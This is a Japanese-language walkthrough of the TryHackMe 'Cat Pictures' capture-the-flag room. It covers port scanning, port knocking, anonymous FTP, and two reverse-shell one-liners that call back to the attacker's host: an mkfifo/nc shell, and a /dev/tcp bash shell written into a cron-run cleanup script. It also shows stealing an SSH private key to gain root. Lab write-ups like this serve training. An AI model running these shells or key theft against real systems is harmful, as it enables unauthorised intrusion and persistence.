TryHackMe(THM):Cat Pictures
Task 1 Deploy the machine!
Kali Linuxを起動します。
Task 2 Flags, flags, flags!
Flag 1
まずnmapを実行します。
# nmap -p- <$TARGET_IP>
21番ポート(ftp)、22番ポート(ssh)、2375番ポート(docker)、4420番ポート(nvm-express)、8888番ポート(http-proxy)の5つのポートが解放されています。
現在解放されているポートに対して、バージョン情報等の細かい内容を確認するため再度nmapを実行します。
# nmap -sC -sV -p 21,22,2375,4420,8080 <$TARGET_IP>
Web(8080番ポート)が解放されています。ブラウザでアクセスしてみます。
ログイン画面が表示されましたが、ユーザ名/パスワードがわからないので、いろいろアクセスしてみます。
1つ掲示板情報が投稿されていました。
行き詰ってしまったので先人の知恵を拝借すると、「ポートノック」を利用するらしいです。
わからないので検索すると以下のURLを見つけました。
ワンライナーで実行できるらしいので以下のコマンドを実行します。
# for PORT in 1111 2222 3333 4444; do nc -vz <$TARGET_IP> $PORT; done;
再度nmapを実行してみます。
# nmap -p 21,22,2375,4420,8080 <$TARGET_IP>
何度か実行してみると、22番ポートがOPENになりました。
FTPでanonymousで接続してみます。
lsコマンドを実行してみると、1つファイルが見つかったのでダウンロードします。
ファイルの中身を確認すると、 4420番ポートに対するパスワードが書かれていました。
ncコマンドで4420番ポートに接続してみます。
# nc -nv <$Remote_IP> 4420
パスワードの入力を求められるので、先ほど見つけたパスワードを入力します。
別のターミナルを起動してnetcatコマンドを実行して接続を待ちます。
$ sudo nc -lvnp <$PORT>
リモートマシン側のターミナルに戻って以下のコマンドを入力します。ポート番号はnetcatコマンドを実行したときのポート番号と合わせておきます。
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <$Local_IP> <$PORT> >/tmp/f
ローカルPC側のターミナルを確認すると接続があり、root権限を取得しています。
先ほど見つけたrunmeファイルをcatコマンドで実行してみます。
# cat ./runme
パスワードらしい文字列があったのでメモしておきます。
runmeファイルを再度実行するとパスワードが求められますので、先ほどメモしたパスワードを入力します。
ディレクトリ内のファイル一覧を表示させると、「id_rsa」ファイルがあったので中身を確認します。
ファイルの中身をカット&ペーストしてローカルPC内に保存します。
ファイルの権限と所有者を変更します。
sshで接続しますが、先ほどローカルPC内保存したファイルを使用します。
root権限を取得しました。
rootディレクトリ内のファイルを確認すると、flag.txtファイルを見つけました。
中身を確認します。
Root Flag
先人の知恵を拝借すると、/opt/cleanディレクトリにシェルスクリプトファイルがあるので、これを流用するそうです。
別のターミナルを起動してnetcatコマンドを実行します。
$ nc -lvnp <$PORT>
/opt/clean/clean.shファイルの中身を見ると、/tmpディレクトリ内をクリアするスクリプトファイルのようです。
リモートマシン側のターミナルに戻ってこのファイルに以下のコマンドを入力して保存します。
/bin/ bash -c '/bin/bash -i >& /dev/tcp/$Local_IP/$PORT 0>&1'
viで編集を試みますが、インストールされていませんでした。 echoコマンドでclean.shファイルに書き込みます。
少し経つと、接続確認できました。
現在のディレクトリを確認するとroot.txtファイルが見つかりました。
完了!